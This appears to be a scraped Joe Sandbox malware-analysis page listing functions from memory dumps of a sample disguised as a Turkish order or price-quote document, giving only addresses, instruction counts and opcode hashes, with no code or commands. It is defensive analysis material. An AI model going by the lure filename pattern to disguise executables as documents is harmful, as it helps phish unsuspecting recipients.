Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05f9b5eba1c44377429ffce77a0a6c972d973ace7e19b87259b9fb7fd492815f
Instruction ID: c5257f49db68dad9f8080002ae1fd4de57c2b10f562fed821617eea4dd24ed9a
Opcode Fuzzy Hash: 05f9b5eba1c44377429ffce77a0a6c972d973ace7e19b87259b9fb7fd492815f
Instruction Fuzzy Hash: AB12AD398A12478FA6402F70F5FC93A7B61FB1F793704AD10F11F86891AB7990A58F61

Function 01208481 Relevance: .6, Instructions: 570COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9068fea79bfb1aad3b0da823712aac168c6b479b0aed9b86141c8bc84e45eccc
Instruction ID: 8f5438f1d5ba1be7a0e7eb75af33a62f2b9b5caf94dabb2a289c755e8f01308c
Opcode Fuzzy Hash: 9068fea79bfb1aad3b0da823712aac168c6b479b0aed9b86141c8bc84e45eccc
Instruction Fuzzy Hash: 4542FE75E00219CFEB14ABE4C864B9EBF72EF84300F1081A9D20A6B395DE759E85DF51

Function 01200C8F Relevance: .5, Instructions: 546COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e4a341d4892481c036c68bca63e317f857c2a796cf8e169d0aae434c6904c10
Instruction ID: 89eecbe9629822658a07c1d5dbb1d0ba6b08f874e85d9d7d1a496b535b0e0281
Opcode Fuzzy Hash: 7e4a341d4892481c036c68bca63e317f857c2a796cf8e169d0aae434c6904c10
Instruction Fuzzy Hash: CA520A34A00A19CFCB54EF68EA89B9DBBF2FB89305F1046A9D409A7754DB341E85CF40

Function 01200CA0 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a36702aba3461fea1d791fcba69ae2841df4f60b369b580c38e99e48e2bcc47
Instruction ID: 3246ce57114876d509e575256cfa8b52177dc4fc01f648b3a9c2002841587b0c
Opcode Fuzzy Hash: 0a36702aba3461fea1d791fcba69ae2841df4f60b369b580c38e99e48e2bcc47
Instruction Fuzzy Hash: 9A52FA34A00A19CFCB54EF68EA99B9DBBF2FB89305F1046A9D409A7754DB341E85CF40

Function 012076F1 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e52b90f20a6ab81095117b9a1d9b69850befaa53eb03bf3ac73c759c22141879
Instruction ID: de9669b76b913f16f7ae8fc27d71d922c6e4dd0f32823bfb2e91aefc77f66731
Opcode Fuzzy Hash: e52b90f20a6ab81095117b9a1d9b69850befaa53eb03bf3ac73c759c22141879
Instruction Fuzzy Hash: 3E124C30A10649DFDB16DF68D884A9EBBF1FF88314F148659E6859B2A2D730FD41CB50

Function 01205F38 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acc0bed2b5aff10c478974237f6cabc75ec6d0d9ade724d6fefd29a8ae08afec
Instruction ID: b35fcc800be91366707d34bc8051f903349e7448a0e92d1ea239fc25be04ac47
Opcode Fuzzy Hash: acc0bed2b5aff10c478974237f6cabc75ec6d0d9ade724d6fefd29a8ae08afec
Instruction Fuzzy Hash: 3E91BE307142028FDB169F28C858B6E7BF2BF89244F148669E506CB3D6CF398812CB91

Function 01209A10 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19da12d7f17d23575d777f72a08ea54ce75987416ba19c3b0a5cc4a7acef24df
Instruction ID: 5bcb2354b4c7a6233f57e200595d1c6fd07cbc5bbb960adf207f694ffc56f19c
Opcode Fuzzy Hash: 19da12d7f17d23575d777f72a08ea54ce75987416ba19c3b0a5cc4a7acef24df
Instruction Fuzzy Hash: E4914630A106458FCF12CF2CC4845AABFB5EF85324B59C766D95A97393D731E892CBA0

Function 01206498 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e74be6b579a18fb2de2c6791c6c734953dbd4b1401c937bb761defc73365b60
Instruction ID: f9d591c6e40cbf5131a401d91e982a77d7a2ac3afdfa087f82e10067b211497f
Opcode Fuzzy Hash: 3e74be6b579a18fb2de2c6791c6c734953dbd4b1401c937bb761defc73365b60
Instruction Fuzzy Hash: 8C81B130A20506CFDB16CF6DC884A69BBB2FF88310B148269D605D73E6DB36E851CB50

Function 012080D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf3b9a273e80aff15e31141e83b0c87f511d88cf02dddaea1d1e6a7ba07051e7
Instruction ID: 3042a4adc631784e0a05a436ab017ddc518346ffd4e7dd84cead266617451a1a
Opcode Fuzzy Hash: cf3b9a273e80aff15e31141e83b0c87f511d88cf02dddaea1d1e6a7ba07051e7
Instruction Fuzzy Hash: 27714E34B206468FDB16DF6CC898A6F7BE5AF49340B1505A9EA02DB3B2DB70DC41CB50

Function 0120F739 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e25d93a16af666175f778ab9d0198e41ac7352d8498c0a3f3068998c1cbe0096
Instruction ID: 76edbed4e88c35816ee36d11a316ca58b3dd1e8ab5343c9b011b70e383ce4e00
Opcode Fuzzy Hash: e25d93a16af666175f778ab9d0198e41ac7352d8498c0a3f3068998c1cbe0096
Instruction Fuzzy Hash: ED512134D01219DFEB15DFA4D988BADBBB2FF88300F208229E805AB395DB755945CF40

Function 01209C30 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53701392958b22f8f1cf3187d8b455e7aeb8da478ae8def1b00354487c29111d
Instruction ID: d8d61baf5fa9d3762742adce19b9ccb6d2fef7404d15888cd4b3bbb79b6470c5
Opcode Fuzzy Hash: 53701392958b22f8f1cf3187d8b455e7aeb8da478ae8def1b00354487c29111d
Instruction Fuzzy Hash: 6E5190307102459FDB02DF68C884B6EBBA6EB88354F14C566EA0ACB397DB75CC81CB51

Function 0120AEF0 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec087a74a7cfe016a444e167108749f0865c2d8fe4b0fa0ccde82149c72254db
Instruction ID: 2f9f053b7ac7d8005159ad857b117ff869168d43c6754b50e27241147c074f5b
Opcode Fuzzy Hash: ec087a74a7cfe016a444e167108749f0865c2d8fe4b0fa0ccde82149c72254db
Instruction Fuzzy Hash: CA412831B102449FDB169B78D8186AE7BF7AFC8250F58456AE506DB3D2CE359C06CBA0

Function 0120FDD4 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e1b4a69adfa8e4e12401d4a39c00f5fa1bc38a8e9d902b28a51dfafad218cc
Instruction ID: f7805c6575fac585322d33c576c249205e879fa438aa60280502db0d22c553a2
Opcode Fuzzy Hash: c1e1b4a69adfa8e4e12401d4a39c00f5fa1bc38a8e9d902b28a51dfafad218cc
Instruction Fuzzy Hash: 3B515770D102598FDB29CFA9C984B9EBBF1BF48700F148529E915AB392C7B4A844CF90

Function 0120D548 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a3633319729f840b65043b5b2ae255a9a597bf06f3463f44256fbe17db3c666
Instruction ID: 7c0aada6b13e09879f94e289b8f27053bea092f5e9bf56b5b555bf857f7949b0
Opcode Fuzzy Hash: 5a3633319729f840b65043b5b2ae255a9a597bf06f3463f44256fbe17db3c666
Instruction Fuzzy Hash: 79518274E01258DFDB54DFA9D98499DBBF2FF89300F248169E809AB365DB31A901CF50

Function 012041A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50c6b3f3af1e955c43473c0964f9d96a11bc9ee70a0970dea8ae98492f7851f3
Instruction ID: 8fe81cc64b3bbc771233b15c40b611bf8eef6455ea251996c00c0d0d1bba5be1
Opcode Fuzzy Hash: 50c6b3f3af1e955c43473c0964f9d96a11bc9ee70a0970dea8ae98492f7851f3
Instruction Fuzzy Hash: 1151B374E01648CFCB08DFA9D58499DBBF2FF89304B209569E809AB365DB31AD42CF50

Function 0120FDE0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fe36eb100cb455153041a25aa5e53db2d59df1a54857977554b0827a3a22b6
Instruction ID: 0a4b98a63e968adfa5366a6bd249e0f9c4561f6fba44dfef131ac6a2d6ec9076
Opcode Fuzzy Hash: 41fe36eb100cb455153041a25aa5e53db2d59df1a54857977554b0827a3a22b6
Instruction Fuzzy Hash: 5C514870D102598FDB25CFA9C984B9EBBF1BF48700F14852DE915AB392D7B4A844CF91

Function 0120A303 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 561361444e07a5dbc44a1d902abebc853be1d3701278a1fec6af049c45aa2092
Instruction ID: b21a34432e0fcdb346a300354a8ddca9b59b4a5a3fd543baf2497cac93af8a04
Opcode Fuzzy Hash: 561361444e07a5dbc44a1d902abebc853be1d3701278a1fec6af049c45aa2092
Instruction Fuzzy Hash: EC41AE35A10349DFCF12CFA8C848A9DBFB2EF89350F458655EA45AB293D374D914CB60

Function 01203CC0 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e36d185ab7e174f766d78b60112b2d5476e209208b39e7119f00b36cb1a99f6
Instruction ID: b125d00c4f8e70a8a1a57271c9de6ae6d0c5213d0ee6e35b439f5a0e46c182a7
Opcode Fuzzy Hash: 6e36d185ab7e174f766d78b60112b2d5476e209208b39e7119f00b36cb1a99f6
Instruction Fuzzy Hash: 9931F735B242268FDF1A866E899527E79E6BBC4310F18463DDA02C33C6DFB4CC054761

Function 01205658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f7f41e308c19029b748e5dd390e72ba4875fc4937ef6f4c9931fb4cb2ad68df
Instruction ID: 3e8fc202101d9b11e08ecd29c51fcf3e9bbd097a1b8c29decaa2b683a6428bcb
Opcode Fuzzy Hash: 2f7f41e308c19029b748e5dd390e72ba4875fc4937ef6f4c9931fb4cb2ad68df
Instruction Fuzzy Hash: F231923160010ADFDF06AF68D859ABF3BB2EB48344F044425FA1597296CB39CD61DFA0

Function 01202790 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 291b9ffd9c58ab129cb9ebff5ffb5e9fa09d9fc3dbc33469c316fcdd12eb05ff
Instruction ID: d5fec2956398dd2c49253108a09876baab7e512101fa0e09d44615c4c873c027
Opcode Fuzzy Hash: 291b9ffd9c58ab129cb9ebff5ffb5e9fa09d9fc3dbc33469c316fcdd12eb05ff
Instruction Fuzzy Hash: 42318974D19249CFCB0ADFB8C9596EEBFF0EF4A300F0402AAD545A72A1EB340A45CB51

Function 01208380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f77dd12fdd7e91cce860918a2eae14384110708d12fa28f100957e3ce6c2aa6
Instruction ID: dc98706c1dbd289217b329f275c2b7262efd87bcc1ba2f0eeb466003d8dc1bb8
Opcode Fuzzy Hash: 3f77dd12fdd7e91cce860918a2eae14384110708d12fa28f100957e3ce6c2aa6
Instruction Fuzzy Hash: E421AF30B202024BDB165A698458B3F3696EFC8748F16853DD606CB7DBDEB9CC429781

Function 012062F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4b361f1b3ca43a4ba6e8d6eb834ae0d5d834ac8efd4db0ba8d503c933abd444
Instruction ID: 8a80528cf8b823ad7614e0a98439f05e9c90c8ada9e08b304c1e6bc3f75f73eb
Opcode Fuzzy Hash: f4b361f1b3ca43a4ba6e8d6eb834ae0d5d834ac8efd4db0ba8d503c933abd444
Instruction Fuzzy Hash: 22213431711A228FD7169B28C45892EB7A2FFC9B547088669E906CB3D5CF35DC12CBC0

Function 012028F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4897c7a0c309ee2652707af1258aa7f306c7d8eb10a989c99f6f9efa1c55e79d
Instruction ID: af615908a58a14f338716e1a7d057deb9809ff3807ac0b630bfd9060a23b7db9
Opcode Fuzzy Hash: 4897c7a0c309ee2652707af1258aa7f306c7d8eb10a989c99f6f9efa1c55e79d
Instruction Fuzzy Hash: 3F21D631A0011AEFCF15DF28D4409AE77A5EBDD3A0B60C55AED099B381DB31EA42CBD0

Function 00FBD005 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4574897865.0000000000FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fbd000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 963134717a6032139dac01cfd3e2082ccd5821e9e80a35124f530947dcc19e52
Instruction ID: 174f3347da70a368dd1b6f0796936664222200208fcc00d090dadfe9415e0da5
Opcode Fuzzy Hash: 963134717a6032139dac01cfd3e2082ccd5821e9e80a35124f530947dcc19e52
Instruction Fuzzy Hash: DC314D7550E3C09FD703CB20C990741BF71AB47214F1985DBD8898F1A7C23A980ACB62

Function 00FBD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4574897865.0000000000FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fbd000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08efc03930e63f515fa1d8a01b4b24021e08e86ae85e92e085c02e3dbac3ece8
Instruction ID: 48368a72e28a5588fe24d81a6f1354498853915d4f0609231673b934cedd0df3
Opcode Fuzzy Hash: 08efc03930e63f515fa1d8a01b4b24021e08e86ae85e92e085c02e3dbac3ece8
Instruction Fuzzy Hash: F3213472A04204EFDB14EF25C9C0B66BB65FB84324F20C56DE9090B256D77AD846EF62

Function 01204285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 664cf7d86bf773a80b3a71014d21fe6790f9caf65b798cb33d0956cf416ee5de
Instruction ID: dc6492649b938b2c2252403313e755a326b15b9d7db8b764dce52c55ee3ac47e
Opcode Fuzzy Hash: 664cf7d86bf773a80b3a71014d21fe6790f9caf65b798cb33d0956cf416ee5de
Instruction Fuzzy Hash: B031C278E11648CFCB04EFA8E58489DBBF2FF49305B209469E809AB764DB31AD51CF00

Function 01205649 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f23f76cda2ebe4f12c881d3cb14e4673c011c5c5c64c8e1fe2474cb02b979032
Instruction ID: 0816b5967ea30f37921a64899b30fd7c0b990d55dd5e9f6ad7eb1da11eb963e3
Opcode Fuzzy Hash: f23f76cda2ebe4f12c881d3cb14e4673c011c5c5c64c8e1fe2474cb02b979032
Instruction Fuzzy Hash: BA21F6326051098FDB06AF68E859B7F3BA2EB44314F044169F9058B296CB38CD65CF91

Function 01209761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b73fb1007ae9befa40181ed2c1bbd4fcdd19e12c692999c8476f12e4885ab416
Instruction ID: dcb1cf2a551d96e3805e8ad7cbfbbd119289cd60ae8db9175bbfcf2486dbd1df
Opcode Fuzzy Hash: b73fb1007ae9befa40181ed2c1bbd4fcdd19e12c692999c8476f12e4885ab416
Instruction Fuzzy Hash: C6217C70E00249DFDF0ACFA5D554AEEBFB6AF88208F148059E515A7292DB34DA81CB20

Function 01206300 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd3e849d57b608780a00cd333020f83a80c59f9ca378682714cc6f545859c68c
Instruction ID: 15b8d065d1b0071a55e874e0b3f3d710ced1756b580f455a69a698f421c12359
Opcode Fuzzy Hash: dd3e849d57b608780a00cd333020f83a80c59f9ca378682714cc6f545859c68c
Instruction Fuzzy Hash: BE11E5317115128FD71A9B29C45892EB7A6FFC5B953094578EA06DB391CF31DC1187D0

Function 0120F658 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb16d6fb7a7c1e1f8aff7b7ae6e47983b8bf5286d3afdfb3338079bec0d55616
Instruction ID: f70ba2e367ad3ae7dcd763994c462b5167487994eedac70e2107444175aa02d2
Opcode Fuzzy Hash: fb16d6fb7a7c1e1f8aff7b7ae6e47983b8bf5286d3afdfb3338079bec0d55616
Instruction Fuzzy Hash: DA216F7090024ADFDB05EFA8DA4169EBFF1FF85304F1096AAC118AB265EB745A05CF81

Function 012027F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d79831ab36cdd42d03a5498885f0e9a6a942054c213092938989a4efa6014737
Instruction ID: 864cd8ef7a61d1981e1e6f95cc9283b30c4c6f15283e156d52decc3985aa63cc
Opcode Fuzzy Hash: d79831ab36cdd42d03a5498885f0e9a6a942054c213092938989a4efa6014737
Instruction Fuzzy Hash: 1F212474C05609CFCB05DFA8C8495EEBFF0BF0A200F10426AD805B3250EB341A85CFA0

Function 0120F668 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ee1e3f06c7b26116875dff057b060bb5c83c04ea6686d253c5466e543180d9a
Instruction ID: 0a829b3499af33de858ee783a00304b788cbd17000d8c5b21f25b880a07bfad7
Opcode Fuzzy Hash: 2ee1e3f06c7b26116875dff057b060bb5c83c04ea6686d253c5466e543180d9a
Instruction Fuzzy Hash: A9114F70D0060ADFEB44EFA8DA4179EBFF1FB84304F1096A9C118AB265EB745A05DF80

Function 01205E98 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eefcd5ef1f57a8752b302131394325358b8f1075b2e809ebef788fd13ac2079
Instruction ID: d687a9472a5c84b636641a96f7f32e3d7bc7af7c2adbb7023b5acf00d5e03c7e
Opcode Fuzzy Hash: 3eefcd5ef1f57a8752b302131394325358b8f1075b2e809ebef788fd13ac2079
Instruction Fuzzy Hash: 6401F133B001156BDB129E689815AFF3BA6DBC8250F188029F605E72C1CE3A8D129B90

Function 0120ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23b9e3cb81bf5d7f6ecb0d429aacffc0fdea968af4ea1da854b377afd77a2e4a
Instruction ID: 55e55f8f697bda4c5e79c69c99f48b58c94e6b3a63340143c6433d3b15bf7b76
Opcode Fuzzy Hash: 23b9e3cb81bf5d7f6ecb0d429aacffc0fdea968af4ea1da854b377afd77a2e4a
Instruction Fuzzy Hash: 41F0FC313107114B97175A2E945462E7ADEEFC8A953864179E705C73E3EE60CC028380

Function 0120E8E8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

